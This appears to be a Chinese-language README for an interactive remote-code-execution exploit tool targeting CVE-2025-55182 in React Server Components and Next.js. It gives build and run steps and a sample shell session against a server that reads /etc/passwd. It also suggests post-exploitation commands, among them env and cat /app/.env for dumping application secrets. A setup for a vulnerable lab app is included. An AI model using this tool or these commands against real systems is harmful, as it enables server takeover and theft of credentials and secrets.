yyax13/cve-2025-55182针对CVE-2025-55182的RCE利用工具，该漏洞是React Server Components (RSC)中的一个严重漏洞，影响React 19.0.0 - 19.2.0及Next.js应用。
针对 CVE-2025-55182（React Server Components）的交互式 RCE 利用工具
CVE-2025-55182 是一个轻量级交互式 RCE 利用工具，针对 CVE-2025-55182——React Server Components（RSC）中的一个严重漏洞，影响 React 19.0.0 - 19.2.0 及 Next.js 应用。
git clone https://github.com/Hghost0x00/CVE-2025-55182.git
cd CVE-2025-55182
go build -o CVE-2025-55182 main.go
./CVE-2025-55182
_____________ _______________ _______________ ________ .________ .________.____________ ______ ________
╲_ ___ ╲ ╲ ╱ ╱╲_ _____╱ ╲_____ ╲ _ ╲ ╲_____ ╲ │ ____╱ │ ____╱│ ____╱_ │╱ __ ╲ ╲_____ ╲
╱ ╲ ╲╱╲ Y ╱ │ __)_ ______ ╱ ____╱ ╱_╲ ╲ ╱ ____╱ │____ ╲ ______ │____ ╲ │____ ╲ │ │> < ╱ ____╱
╲ ╲____╲ ╱ │ ╲ ╱_____╱ ╱ ╲ ╲_╱ ╲╱ ╲ ╱ ╲ ╱_____╱ ╱ ╲╱ ╲│ ╱ ── ╲╱ ╲
╲______ ╱ ╲___╱ ╱_______ ╱ ╲_______ ╲_____ ╱╲_______ ╲╱______ ╱ ╱______ ╱______ ╱│___╲______ ╱╲_______ ╲
╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱
React2Shell RCE | CVE-2025-55182
@hghost010
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[?] 目标: localhost:3000
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 存在漏洞
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ghost@rce $ id
uid=1000(node) gid=1000(node) groups=1000(node)
ghost@rce $ whoami
node
ghost@rce $ pwd
/app
ghost@rce $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
ghost@rce $ exit
受影响版本：
已修复版本：
想安全测试？搭建一个脆弱实验室环境：
# 克隆脆弱 Next.js 应用
git clone https://github.com/zack0x01/vuln-app-CVE-2025-55182.git
cd vuln-app-CVE-2025-55182
# 安装并运行
npm install --legacy-peer-deps
npm run dev
# 在另一个终端中，运行 ghost-scanner
./CVE-2025-55182
# 输入: localhost:3000
ghost@rce $ id # 检查用户权限
ghost@rce $ whoami # 当前用户名
ghost@rce $ pwd # 当前目录
ghost@rce $ ls -la # 列出文件
ghost@rce $ cat /etc/passwd # 读取文件
ghost@rce $ uname -a # 系统信息
ghost@rce $ env # 环境变量
ghost@rce $ ps aux # 运行中的进程
ghost@rce $ netstat -tulpn # 网络连接
ghost@rce $ cat /app/.env # 应用程序密钥
发现 bug？ 提交 issue
如果这个工具对你有帮助：
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
由 Hghost0x00 用 👻 制作
快乐黑客 ⚡
